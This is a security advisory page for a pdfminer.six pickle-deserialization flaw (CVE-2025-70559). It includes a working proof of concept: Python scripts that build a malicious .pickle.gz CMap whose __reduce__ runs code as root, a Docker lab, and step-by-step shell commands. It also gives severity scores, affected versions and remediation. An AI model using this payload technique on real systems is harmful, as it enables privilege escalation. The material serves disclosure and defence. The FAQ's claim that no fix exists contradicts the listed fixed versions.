CVE-2025-70559: Code Injection

Published Nov 7, 2025
·
Updated

🚀 Overview

This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's pickle module for CMap file loading. It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.

!line

🚨 Special Note

This advisory addresses a distinct vulnerability from GHSA-wf5f-4jwr-ppcp (CVE-2025-64512).

While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit b808ee05dd7f0c8ea8ec34bdf394d40e63501086 does not address the vulnerability reported here.

Based on testing performed against the latest version of the library (comparison view), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The Dockerfile is hence modified to run test against this claim.

This demonstrates that the patch for CVE-2025-64512 is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on pickle

📚 Table of Contents

- 🔍 Background - 🐍 Vulnerability Description - 🎭 Demo Scenario - 🧨 Technical Details - 🔧 Setup and Usage - 📝 Step-by-step Walkthrough - 🛡️ Security Standards & References ---

🔍 Background

pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's pickle module.

🐍 Security Issue: If the CMap search path (CMAPPATH or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious .pickle.gz file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.

---

🐍 Vulnerability Description

- Component: pdfminer.six CMap loading (pdfminer/cmapdb.py) - Issue: Loads and deserializes .pickle.gz files using Python’s pickle module, which is unsafe for untrusted data. - Exploitability: If a low-privileged user can write to any directory in CMAPPATH, they can execute code as the user running pdfminer—potentially root or a privileged service. - Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.

!line 🎭 Demo Scenario

Environment: - 🐧 Alpine Linux (Docker container) - 👨‍💻 Two users: - user1 (attacker: low-privilege) - root (victim: runs privileged PDF-processing script) - 🗂️ Shared writable directory: /tmp/uploads - 🛣️ CMAPPATH set to /tmp/uploads for the privileged script - 📦 pdfminer.six installed system-wide

Attack Flow: 1. 🕵️‍♂️ user1 creates a malicious CMap file (Evil.pickle.gz) in /tmp/uploads. 2. 👑 The privileged service (root) processes a PDF or calls getcmap("Evil"). 3. 💣 The malicious pickle is deserialized, running arbitrary code as root. 4. 🎯 The exploit creates a flag file in /root/pwnedByPdfminer as proof.

!line

🧨 Technical Details

- Vulnerability Type: Insecure deserialization of untrusted data using Python's pickle - Attack Prerequisites: Attacker can write to a directory included in CMAPPATH - Vulnerable Line: python return type(str(name), (), pickle.loads(gzfile.read())) In pdfminer/cmapdb.py's loaddata method - https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246 - Proof of Concept: See createEvilPickle.py, evilmod.py, and processPdf.py

Exploit Chain: - Attacker places a malicious .pickle.gz file in the CMap search path. - Privileged process (e.g., root) loads a CMap, triggering pickle deserialization. - Arbitrary code executes with the privilege of the process (root/service account).

!line

🔧 Setup and Usage

📁 Files </> Dockerfile yml FROM python:3.11-alpine

ARG PMCOMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086

Install git and build tooling RUN apk add --no-cache git build-base

WORKDIR /opt

Clone pdfminer.six and check out the specific commit, then install from source RUN git clone https://github.com/pdfminer/pdfminer.six.git && \ cd pdfminer.six && \ git fetch --all && \ git checkout ${PMCOMMIT} && \ pip install --no-cache-dir -e .

App working directory for PoC WORKDIR /app

Create low-privilege user and uploads dir RUN adduser -D user1 && \ mkdir -p /tmp/uploads && \ chown user1:user1 /tmp/uploads && \ chmod 1777 /tmp/uploads

Copy PoC files COPY evilmod.py /app/evilmod.py COPY createEvilPickle.py /app/createEvilPickle.py COPY processPDF.py /app/processPDF.py

ENV CMAPPATH=/tmp/uploads ENV PYTHONUNBUFFERED=1

Keep the container running in background so you can exec into it anytime. CMD ["tail", "-f", "/dev/null"]

</> evilmod.py python import os

def evilFunc(): with open("/root/pwnedByPdfminer", "w") as f: f.write("ROOTED by pdfminer pickle RCE\n") return {"CODE2CID": {}, "ISVERTICAL": False} </> createEvilPickle.py python import pickle import gzip from evilmod import evilFunc

class Evil: def reduce(self): return (evilFunc, ())

payload = pickle.dumps(Evil()) with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f: f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz") </> processPDF.py python import os from pdfminer.cmapdb import CMapDB

os.environ["CMAPPATH"] = "/tmp/uploads"

CMapDB.getcmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.") !line

1️⃣ Build and start the demo container

bash docker build -t pdfminer-priv-esc-demo . docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ

2️⃣ In the container, open two shells in parallel (or switch users in one):

🕵️‍♂️ Shell 1 (Attacker: user1) bash su user1 cd /app python createEvilPickle.py ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1

👑 Shell 2 (Victim: root) bash cd /app python processPdf.py 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created

3️⃣ Proof of escalation

bash cat /root/pwnedByPdfminer 🏴 Output: ROOTED by pdfminer pickle RCE

<img width="815" height="889" alt="proof-of-exploit" src="https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc" />

!line

📝 Step-by-step Walkthrough

1. user1 uses createEvilPickle.py to craft and place a malicious CMap pickle in a shared upload directory. 2. The root user runs a typical PDF-processing script, which loads CMap files from that directory. 3. The exploit triggers, running arbitrary code as root. 4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).

!line

🛡️ Security Standards & References

- CVSS (Common Vulnerability Scoring System): - Base Score: 7.8 (High) - Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

- OWASP Top 10: - A08:2021 - Software and Data Integrity Failures - A03:2021 - Injection (by analogy, as it's code injection via deserialization)

- MITRE CWE References: - CWE-502: Deserialization of Untrusted Data - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

- MITRE ATT&CK Techniques: - T1055: Process Injection - T1548: Abuse Elevation Control Mechanism

Other sources

pdfminer.six before 20251230 contains an insecure deserialization vulnerability in the CMap loading mechanism. The library uses Python pickle to deserialize CMap cache files without validation. An attacker with the ability to place a malicious pickle file in a location accessible to the application can trigger arbitrary code execution or privilege escalation when the file is loaded by a trusted process. This is caused by an incomplete patch to CVE-2025-64512.

— MITRE

Affected Software

4 affected componentsFixes available
pypi/pdfminer.six<20251230
debian/pdfminer<=20221105+dfsg-1.1~deb12u1, <=20221105+dfsg-1.1~deb13u1
20260107+dfsg-1
pip/pdfminer.six<20251230
20251230
IBM Concert Software<=1.0-3.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade debian/pdfminer to a version that resolves this vulnerability.

    Fixed in 20260107+dfsg-1
  2. Upgrade

    Upgrade pip/pdfminer.six to a version that resolves this vulnerability.

    Fixed in 20251230
  3. Upgrade

    Upgrade pdfminer.six to a version that resolves this vulnerability.

    Fixed in 20251230
  4. Compensating control

    Ensure CMAP_PATH and the default CMap search directories do not include world-writable or user-writable directories such as /tmp/uploads.

  5. Compensating control

    Remove the dependency on pickle files for CMap loading and replace unsafe deserialization with a safe, auditable data-handling approach.

Event History

Nov 7, 2025
Advisory Published
via GitHub·11:17 PM
Data Sourced
via GitHub·11:17 PM
DescriptionSeverityWeaknessAffected Software
Feb 3, 2026
CVE Published
via MITRE·12:00 AM
Data Sourced
via MITRE·12:00 AM
Description
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeakness
Sep 28, 2026
Data Sourced
via Launchpad·03:38 PM
Description
Data Sourced
via Debian·03:38 PM
DescriptionAffected Software
Sep 29, 2026
Data Sourced
via Ubuntu·03:38 PM
RemedyDescriptionSeverityAffected Software
Oct 14, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

Which environments should be prioritized for review?

Multi-user and server environments should be prioritized, because the reported scenario involves a low-privileged user escalating privileges through pdfminer.six. The affected software listings include PyPI/pip pdfminer.six, Debian pdfminer, and IBM Concert Software.

2

Does the mitigation for CVE-2025-64512 address this issue?

No. The advisory states that the patch associated with CVE-2025-64512 does not address this distinct unsafe deserialization issue.

3

How current is the reported exploitability?

The advisory reports testing against the latest library version represented by the comparison from 20250506 to 20251107 and states that the issue remained exploitable. No fixed version is provided in the available data.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203